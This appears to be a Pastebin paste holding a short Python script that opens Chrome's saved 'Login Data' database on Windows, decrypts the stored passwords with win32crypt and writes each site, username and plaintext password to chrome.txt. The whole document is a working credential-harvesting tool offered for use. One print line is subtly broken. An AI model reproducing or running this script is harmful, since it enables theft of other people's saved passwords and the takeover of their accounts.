Guest User

Untitled

a guest
Apr 17th, 2019
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. # os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.
  2. import os, sqlite3, win32crypt
  3.  
  4. # Automatically get the logged in user's default folder
  5. data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  6.  
  7. # Connect to Login Data database
  8. connection = sqlite3.connect(data)
  9. cursor = connection.cursor()
  10.  
  11. # Query the values of interest to us
  12. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  13. final_data = cursor.fetchall()
  14. cursor.close()
  15.  
  16. print("Found {} passwords...").format(str(len(final_data)))
  17. write_file=open("chrome.txt","w")
  18. write_file.write("User login data extracted: \n\n")
  19.  
  20. # Iterating through all the values found...
  21. for chrome_logins in final_data:
  22. password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
  23. site = "Website: " + str(chrome_logins[0])
  24. username = "Username: " + str(chrome_logins[1])
  25. password = "Password: " +str(password)
  26. write_file.write(site+"\n"+username+"\n"+password)
  27. write_file.write("\n"+"======"*10+"\n")
  28. print("Saved to chrome.txt")
Add Comment
Please, Sign In to add comment